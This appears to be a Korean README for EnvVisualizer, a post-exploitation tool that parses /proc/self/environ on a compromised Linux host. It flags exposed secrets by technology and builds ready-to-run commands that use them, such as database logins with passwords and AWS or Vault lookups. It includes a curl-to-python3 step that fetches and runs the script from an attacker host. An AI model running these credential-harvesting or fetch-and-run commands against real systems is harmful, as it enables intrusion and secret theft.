
손상된 Linux 박스에서 /proc/self/environ을 파싱하고 시각화합니다 — 환경 변수를 기술 스택(AWS, Django, Rails, NodeJS, MySQL, K8s, Docker 등…)별로 분류하고, 심각도 등급이 매겨진 인사이트를 즉시 실행 가능한 명령어와 함께 생성합니다
___________ ____ ____.__ .__ .__
\_ _____/ _______ _\ \ / /|__| ________ _______ | | |__|_______ ___________
| __)_ / \ \/ /\ Y / | |/ ___/ | \__ \ | | | \___ // __ \_ __ \
| \ | \ / \ / | |\___ \| | // __ \| |_| |/ /\ ___/| | \/
/_______ /___| /\_/ \___/ |__/____ >____/(____ /____/__/_____ \\___ >__|
\/ \/ \/ \/ \/ \/
침해된 Linux 머신에서
/proc/self/environ을 파싱, 분류, 시각화합니다.
뒤섞인 환경 변수 텍스트 덩어리를 구조화된 색상 코드 인텔로 — 단 몇 초 만에 변환합니다.
작성자: @W4r10ck423
박스에 침투한 후 /proc/self/environ을 읽으면 다음과 같은 결과가 나옵니다:
USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi
EnvVisualizer는 이를 다음과 같이 변환합니다:
============================================================================
EnvVisualizer — /proc/self/environ (32 variables)
============================================================================
── Identity (4) ───────────────────────────────────────────────────────────
HOME /home/dev
LOGNAME dev
SHELL /bin/bash
USER dev
── Paths & Dirs (10) ──────────────────────────────────────────────────────
PATH
• /home/dev/projects/store1/node_modules/.bin
• /home/dev/projects/node_modules/.bin
• /usr/local/sbin
• /usr/local/bin
• /usr/sbin
• /usr/bin
• /sbin
• /bin
• /snap/bin
PWD /home/dev/projects/store1
npm_config_cache /home/dev/.npm
npm_execpath /usr/share/nodejs/npm/bin/npm-cli.js
── NPM / Node (12) ────────────────────────────────────────────────────────
NODE /usr/bin/node
npm_command run-script
npm_config_user_agent npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
npm_lifecycle_script nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
npm_package_json /home/dev/projects/store1/package.json
── System (6) ─────────────────────────────────────────────────────────────
COLOR 0
EDITOR vi
INVOCATION_ID abc0ab20c7dd498792d8be51c591071a
JOURNAL_STREAM 8:6005
LANG C.UTF-8
SYSTEMD_EXEC_PID 881
── Pentest Insights ────────────────────────────────────────────────────────
▶ Node.js debugger exposed → 127.0.0.1:9229 (try: node-inspector / chrome://inspect)
▶ Home dir: /home/dev
▶ Shell: /bin/bash
▶ npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
▶ npm_lifecycle_event = watch
rich가 설치되어 있으면 각 카테고리가 자체 색상 코드 테이블로 표시됩니다.
npm_*, node_*, pip_* 등)를 감지TOKEN, KEY, SECRET, PASSWORD 등)과 일치하는 변수를 ⚠ 경고와 함께 표시rich가 설치되어 있으면 색상 코드 테이블, 없으면 깔끔한 일반 텍스트 출력(의존성 제로)git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich # optional but recommended
python3 envvisualizer.py --help
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help
envvisualizer.py를 대상 또는 공격자 머신에 복사하세요. 의존성 없이 실행됩니다:
# On the attacker machine — host it
python3 -m http.server 8080
# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ
| Dependency | Version | Required |
|---|---|---|
| Python | ≥ 3.8 | Yes |
| rich | ≥ 13.0 | No (plain-text fallback) |
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]
options:
-h, --help show this help message and exit
-f PATH, --file PATH Environ file path (null-byte delimited)
-r STRING, --raw STRING
Raw concatenated environ string (copy-pasted, no null bytes)
--no-rich Force plain-text output
팁: 파일 접근이 가능할 때는 항상
-f를 사용하세요.
실제 파일의 null 바이트 구분자는 정확하므로 휴리스틱이 필요하지 않습니다.
# Current process
python3 envvisualizer.py -f /proc/self/environ
# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ
# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ
cat /proc/self/environ | python3 envvisualizer.py
python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'
python3 envvisualizer.py -f /proc/self/environ --no-rich
변수는 12개 카테고리로 그룹화되며, 우선순위 순서로 평가됩니다(첫 번째 일치가 적용).
Pentest Insights 패널은 네 가지 심각도 수준으로 스택을 인식한 표적 탐지를 실행합니다.
실제 환경에서 발견된 값으로부터 실행 가능한 명령이 즉석에서 생성됩니다.
── Pentest Insights ─────────────────────────────────────────────────────────
[!!!] PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
[!!!] DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
[!!!] MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
[!!!] AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE (run: aws sts get-caller-identity)
[!!!] HashiCorp Vault token in env → vault token lookup addr: http://vault.internal:8200
[!!!] Stripe LIVE secret key — production payment API access
[!!!] Rails master key in env — decrypts config/credentials.yml.enc
[!! ] Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
[!! ] Inside Kubernetes pod → service host: 10.96.0.1
[!! ] GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
[!! ] Django DEBUG=True — full stack traces served to users
[!! ] JVM remote debugging enabled → -agentlib:jdwp=... (try: jdb -attach <host>:<port>)
[ * ] Python venv active → /var/www/myapp/.venv
/proc/self/environ을 복사-붙여넣기하면(예: 웹 셸 또는 curl 출력에서), null 바이트가 제거되어 인접한 변수들이 융합됩니다:
USER=dev·npm_config_user_agent=npm/8.5.1...
↑──↑↑───────────────────↑
value next key starts here
순진한 WORD= 분할은 devnpm_config_user_agent를 키로 생성할 것입니다.
EnvVisualizer는 2-클래스 경계 탐지기를 사용하여 다음에서만 분할합니다:
USER, HOME, JOURNAL_STREAM 등npm_*, node_*, pip_*, java_*, python_*, ruby_* 등정규식이 융합된 토큰 내에서 npm_config_user_agent를 찾기 때문에, 이전 값은 자동으로 dev로 잘립니다. 룩비하인드도, 단어 경계 가정도 필요 없습니다 — 키 패턴 자체가 앵커 역할을 합니다.
MIT — 자유롭게 사용하세요, 출처 표기는 감사히 받겠습니다.
| Method | Command | Accuracy |
|---|
| Direct file read | python3 envvisualizer.py -f /proc/self/environ | ✅ Perfect (null-byte split) |
| Stdin pipe | cat /proc/self/environ | python3 envvisualizer.py | ✅ Perfect (null-byte split) |
| Pasted string | python3 envvisualizer.py -r 'USER=dev...' | ✅ Good (two-class heuristic) |
| No args (demo) | python3 envvisualizer.py | ✅ Perfect (own process) |
| Category | Typical Variables |
|---|
| 🔐 Security / Auth | SSH_*, SUDO_*, anything matching TOKEN, KEY, SECRET, PASSWORD, CREDENTIAL, CERT |
| 👤 Identity | USER, LOGNAME, HOME, SHELL, UID, GID |
| 🗄 Database | PG*, MYSQL_*, MONGO*, REDIS_*, DATABASE_URL, DB_*, ELASTIC*, CASSANDRA_*, SQLALCHEMY_* |
| ☁ Cloud / Infrastructure | AWS_*, GOOGLE_*, AZURE_*, ARM_*, DOCKER_*, KUBERNETES_*, VAULT_*, TF_*, CLOUDFLARE_* |
| 🔄 CI/CD & VCS | GITHUB_*, GITLAB_*, CI_*, TRAVIS_*, CIRCLE*, JENKINS_*, HEROKU_*, BUILD_* |
| 🔌 Third-party APIs | STRIPE_*, TWILIO_*, SENDGRID_*, SENTRY_*, DD_*, SLACK_*, OPENAI_*, ALGOLIA_*, AUTH0_* |
| 🕸 Web Frameworks | DJANGO_*, FLASK_*, RAILS_*, SPRING_*, ASPNETCORE_*, APP_KEY/ENV/DEBUG, SECRET_KEY_BASE, MIX_ENV, NEXT_*, VITE_*, REACT_APP_* |
| 🐍 App Runtimes | PYTHON*, CONDA_*, VIRTUAL_ENV, GEM_*, BUNDLE_*, JAVA_*, JVM_*, MAVEN_*, CATALINA_*, GO*, RUST*, CARGO_*, PHP_*, DOTNET_*, PERL*, DENO_* |
| 📦 NPM / Node | npm_*, NODE, NODE_ENV, NODE_OPTIONS |
| 📂 Paths & Dirs | PATH, PWD, *_DIR, *_PREFIX, *_HOME, *_CACHE, INIT_CWD |
| 🌐 Network / Proxy | *_PROXY, HOSTNAME, SSL_CERT_*, CURL_CA_BUNDLE, *_URL, *_ADDR |
| ⚙ System | LANG, TERM, EDITOR, INVOCATION_ID, JOURNAL_STREAM, XDG_*, LC_* |
| Other | Everything else, sorted alphabetically |
| Severity | Prefix | Meaning |
|---|
💀 CRITICAL | [!!!] | Live credential, secret key, or master key — immediate impact |
⚠ HIGH | [!! ] | Token, debug mode, or exposed service — actionable attack path |
→ MEDIUM | [! ] | Interesting info that may assist escalation |
▶ INFO | [ * ] | General context about the process and environment |
| Stack | What's detected |
|---|
| PostgreSQL | PGPASSWORD → auto-builds psql postgresql://user:pass@host/db |
| MySQL / MariaDB | MYSQL_ROOT_PASSWORD / MYSQL_PASSWORD → auto-builds mysql command |
| MongoDB | MONGO_INITDB_ROOT_* → auto-builds mongosh command |
| Redis | REDIS_PASSWORD → auto-builds redis-cli -a command |
| DB URLs | DATABASE_URL, MONGODB_URI, etc. → flags embedded credentials |
| AWS | Key pair → flags as long-term or STS temporary, suggests aws sts get-caller-identity |
| GCP | GOOGLE_APPLICATION_CREDENTIALS → suggests gcloud auth activate-service-account |
| Azure | AZURE_CLIENT_SECRET → flags tenant ID + suggests az login --service-principal |
| HashiCorp Vault | VAULT_TOKEN + VAULT_ADDR → suggests vault token lookup |
| Kubernetes | Injected KUBERNETES_SERVICE_HOST → flags pod context, suggests SA token read |
| Docker | DOCKER_HOST set → flags daemon exposure |
| GitHub / GitLab | Tokens → suggests API validation curl commands |
| Heroku | HEROKU_API_KEY → flags with app name |
| Stripe | Live sk_live_* → CRITICAL; test sk_test_* → MEDIUM |
| Datadog | DD_API_KEY → flags metrics/logs/traces access |
| Slack | SLACK_BOT_TOKEN / SLACK_APP_TOKEN → flags workspace access |
| OpenAI | OPENAI_API_KEY → flags billing exposure |
| Django | DJANGO_DEBUG=True → flags stack trace exposure |
| Flask | FLASK_DEBUG=1 → flags Werkzeug interactive debugger (PIN bypass / SSTI) |
| Laravel | APP_DEBUG=true + APP_KEY=base64:* → flags cookie forgery path |
| Rails | RAILS_MASTER_KEY → CRITICAL (decrypts credentials.yml.enc); SECRET_KEY_BASE → session cookie forgery |
| JVM | JAVA_TOOL_OPTIONS with jdwp → flags remote debug port, suggests jdb -attach |
| Tomcat | CATALINA_HOME → flags path to tomcat-users.xml |
| Node.js | --inspect / --inspect-brk → flags debugger, suggests chrome://inspect |
| Kerberos | KRB5CCNAME → flags ticket cache, suggests klist / Impacket |
| Sudo | SUDO_USER → shows original UID/GID before escalation |